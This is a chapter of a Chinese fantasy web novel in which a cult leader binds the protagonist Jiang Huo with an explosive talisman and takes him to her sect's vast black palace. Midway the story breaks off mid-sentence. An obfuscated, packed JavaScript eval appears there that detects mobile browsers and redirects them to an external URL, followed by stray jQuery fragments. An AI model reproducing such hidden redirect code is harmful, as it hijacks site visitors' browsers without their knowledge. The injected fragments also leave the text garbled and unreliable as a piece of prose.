第115章 掳至截天教

作品:《开局成合欢宗唯一男弟子?

    第一百一十五章掳至截天教


    “闭嘴!你以为本座是那些不知廉耻,只知采补的**魔女吗?!”


    凌青竹猛地转身,冰冷的眼神刺向拓跋炎,声音中带着毫不掩饰的怒意。


    她周身清冷的气质因这薄怒而更显寒冷,显然对拓跋炎那粗鄙的提议极为反感。


    “额…嘿嘿,是是是,属下失言,教主恕罪,恕罪。”


    拓跋炎被呵斥得脖子一缩,连忙挠了挠自己的后脑勺,脸上露出尴尬憨厚的笑容,不敢再多说半个字。


    “哼。”


    凌青竹不再理会他,重新将目光投向被禁锢在原地的江火,眼中的炙热已被压下,恢复了那掌控一切的高高在上姿态!


    “堂堂西域大能,截天教教主,方才亲口许诺放我离去,如今却出尔反尔,行此卑劣之举!此事若传扬出去,截天教万年声誉,岂不是要沦为天下笑柄!”


    江火压下心中的惊涛骇浪,强迫自己冷静下来,抬起头,目光直视凌青竹,讥讽道。


    “小家伙,不必用这等话来激我。”


    凌青竹神色不变,声音平静:“本座何时说过要取你性命了?不仅不会伤你,你此次带路有功,助我擒获陆彤,本座还需好好赏赐于你,只是这赏赐之地,需在截天圣殿,乖乖随我回去,自有你的好处。”


    话音未落,她不再给江火任何辩驳的机会。


    唰!


    只见她抬起右手,那食指指尖灵光快得只剩残影。


    同时,她的左手掌心向上摊开,右手食指在左手掌心快速勾勒,书写着无形的符文。


    嗡!


    随着她指尖最后一次落下!


    一个个复杂诡异的血色符号,骤然在她左手掌心浮现!


    那符号不断扭动变幻,散发出一种令人心惊胆战束缚感,显然并非善类。


    咻!


    凌青竹眼神微眯,右手食指带着那个刚刚成型的血色符号,朝着江火的额头中心,闪电般轻轻一点!


    江火根本来不及做出任何躲闪的动作,只觉得眉心一凉,那道血色符号已然脱离凌青竹的指尖,瞬间没入他的皮肤,消失不见。


    紧接着,一股燥热感猛地从额头涌入,迅速扩散至整个脑海,仿佛有无数火苗在识海深处乱窜,带来一阵轻微的眩晕!


    但这感觉来得快去得也快,仅仅扑腾了片刻,便消失得无影无踪,仿佛刚才的一切只是错觉。


    “你…你对我做了什么?”


    江火瞳孔骤然收缩!


    虽然那不适感已经消失,但他心中一紧,一股寒意从脊椎骨直冲头顶!


    他绝不相信,凌青竹耗费灵力凝结出的这个诡异血色符号,会是什么好东西!


    “这叫血魂符,是我截天教的独门秘术。”


    旁边抱着胳膊的拓跋烈缓缓开口。


    “中了这符的人,不能离开截天教百里范围,一旦越线,先是头痛得像要裂开,浑身发冷打颤,这是警告,要是还敢再往外跑二十里…”


    拓跋烈咧开大嘴,露出一个近乎残忍的憨笑:“嘿,这符就会从里面嘭地一下炸开,到时候,别说你这小身板,就算是块铁疙瘩,也得被炸成粉末,一点渣都不剩。”


    “吓唬谁呢?”


    江火心里一紧,脸上却强装镇定,没好气地白了拓跋烈一眼:“说得跟真的似的,此地距离截天教**得有了吧!我现在怎么一点事没有?头不疼,身子也不抖。”


    “呵…”


    拓跋烈像看傻子一样看着江火,嗤笑道:“蠢小子,符现在还没开呢!不然,你不早就**!”


    江火的心彻底沉了下去。


    这鬼东西像个埋进肉里的炸雷,引信却攥在别人手里。


    他看向凌青竹,对方却已不再理他。


    “走。”


    凌青竹不再多言,她抬起手,长袖对着前方虚空,轻轻一甩。


    嗤啦!


    一声轻微的裂响,众人面前稳固的空间,竟被她一袖之力,硬生生撕裂开一道狭长裂缝!


    隐约有狂暴的力量从裂缝中透出,又被她轻易抚平。


    嗡!


    凌青竹率先迈步,身影没入裂缝。


    拓跋烈咧嘴一笑,大手一抓,一股力量便裹着不能动的江火,紧随其后。


    江火眼前一花,身不由己地被拖了进去。


    刚一进去,江火就感到一阵强烈的失重和晕眩。


    周围是浓得化不开的漆黑,真正的伸手不见五指。


    寂静!


    一种令人心慌,连声音都被吞掉的寂静笼罩着,只有自己咚咚的心跳声在耳边擂鼓。


    他感觉不到自己在走或飞,脚下空荡荡,但身体却像是在被某种力量拉着,以难以理解的方式高速移动。


    周围的黑暗一片,只有远方偶尔会闪过一两点微弱,转瞬即逝的光点。


    “那是什么?”江火忍不住看向那些偶尔划过的微光。


    “虚空乱流。”


    拓跋烈的声音在这死寂中异常清晰,带着见惯不怪的随意,但话里的意思让江火头皮发麻。


    “看着挺漂亮是吧?小子,告诉你,那玩意儿,就算是我们这种元婴大修士碰上了,也只有立刻躲开的份,躲慢了,被卷进去,嘿,管你什么厉害法宝,眨眼就能绞成最碎的渣子,连元婴都逃不出来,直接完蛋!”


    闻言,江火瞳孔猛地一缩。


    本来还想挣扎一下的他,立马安静了下来。


    得,只能走一步看一步了!


    大约过了一个时辰,眼前那片凝固的漆黑终于被撕开。


    走在前面的凌青竹随意地抬手,像撩开帘子一样,在前方的虚空轻轻一划。


    一道边缘闪烁着微光的裂缝凭空出现。


    她没有多说,一步就跨了出去。


    江火被拓跋烈提着,也跟了出去。


    眼前猛地一亮,重新看到了天空。


    但江火还没来得及松口气,就被眼前的景象震住了。


    正前方,几乎填满了他的整个视野,是一座大到不可思议的黑色宫殿。


    宫殿坐落在一座奇高无比的山峰顶上,那山峰本身已经大得像一条山脉,宫殿却比山峰更显眼,更庞大。


    宫殿是纯黑色的,光是面向他们的这一面宫墙上,就开了数也数不清的巨大殿门,江火粗略一扫,绝对超过一百扇。


    每一扇门都高得吓人,几十米高,十几米宽,不像是给人走的,倒像是给传说中的巨人用的。


    宫殿整体向上延伸,一层又一层,楼阁重重叠叠,最高处的尖顶已经深深**了浓厚的云层里,完全看不到头。


    江火心里估算,这宫殿的高度,恐怕超过三千米。


    它沉默地矗立在那里,带着一股沉重,让人喘不过气的威严。


    “嘿嘿,吓住了吧,小子?”


    拓跋烈粗声粗气的声音在耳边响起,带着点得意的味道:“瞧好了,这儿,就是咱们截天教的老巢,截天圣殿!”


    截天圣殿!


    江火的心猛地一沉,像被一只冰冷的手攥住了。


    这里就是西域


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17477475|201572||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,是截天教的核心。


    仅仅用了一个时辰,就从北域横跨了不知多少**,直接到了这里。


    元婴修士,尤其是凌青竹这种级别,赶路的方式真是可怕。


    这下算是彻底掉进龙潭虎穴了。


    周围的空气里,灵气浓郁得不像话,但和北域的温润不同,这里的灵气带着一种蛮荒粗暴的感觉。


    而且,隐隐约约,能感觉到这座庞大的圣殿,以及它坐落的整座山脉里,潜伏着许许多多道气息。


    有的强横,有的晦涩,无一例外,都带着一种不好惹的味道。


    到了这种地方,别说逃跑,恐怕连动一下逃跑的念头,都需要极大的勇气。


    就在这时,凌青竹转过身,目光落在了他身上。


    她没说话,只是抬起右手,伸出食指,隔空对着江火的额头,轻轻一点。


    嗡!


    江火只觉得眉心位置微微一热。


    紧接着,一个红色,指甲盖大小的符号,像是从他皮肉下面长出来一样,清晰地浮现在他额头正中央。


    是那个血魂符印!


    现在,它被彻底激活了。


    凌青竹看着他,一字一句道:“江火,符印已开,在圣殿范围内,你可自由活动,但若试图越过界限,下场如何,你很清楚。”


    江火死死咬住了后槽牙,拳头攥的咯吱作响。


    他猛地抬起头,视线扫过那座俯瞰众生的黑色圣殿,最后落在面前这个神情淡漠,轻易掌控他生死的女人脸上。


    一股熊熊怒火,在他胸膛里剧烈冲撞,几乎要炸开。


    该死的凌青竹!


    哪怕是对自己下毒也好啊!


    江火心里又气又无奈。


    下毒的话,他或许还能想想办法,用词条商城里的解毒词条解开。


    可现在,这血魂符,他连听都没听说过,更别说知道怎么解了。


    这玩意儿直接种在神魂上,跑远了就炸,这**怎么搞?


    一点头绪都没有。


    凌青竹没再看他,转头对身旁那对长得几乎一样的壮汉兄弟吩咐道:“拓跋炎,你去安顿好那个苍天霸体的小家伙,看紧了,别出岔子,拓跋烈,你随我去议事殿,召集全教所有长老,立刻开会。”


    她顿了顿:“三个元婴已经凑齐,是时候开始准备炼化至尊灵婴了。”


    “是!教主!”


    拓跋烈、拓跋炎两兄弟同时抱拳,沉声应道,声音洪亮。


    咻!咻!


    两人没再多话,身形一晃,便化作两道光束,朝着截天圣殿深处两个不同的方向疾射而去,瞬间消失在重重殿宇之间。


    偌大的殿前广场,一时间只剩下凌青竹和江火两人。


    风声似乎都静了下来。


    “那我呢?”


    江火到了这一步,也知道挣扎没用,索性破罐子破摔,抬起头,没好气地白了凌青竹一眼。


    反正血符也中了,人也到老巢了,还能怎样?


    “呵呵…”


    凌青竹闻言,非但没有生气,反而低低地笑了起来。


    她转过身,正对着江火,绝美的脸上先前那种高冷淡漠的神色竟褪去了不少,眉梢眼角微微上挑,带着一丝近乎戏谑的意味,朝着江火挑了挑眉。


    “你?你当然是…留在这里咯。”


    这声音,这神态,与刚才在拓跋烈、拓跋炎兄弟面前那高深莫测,威严不可侵犯的教主姿态截然不同。


    此刻的她,更像是一个带着点小得意,故意逗弄猎物的…女人?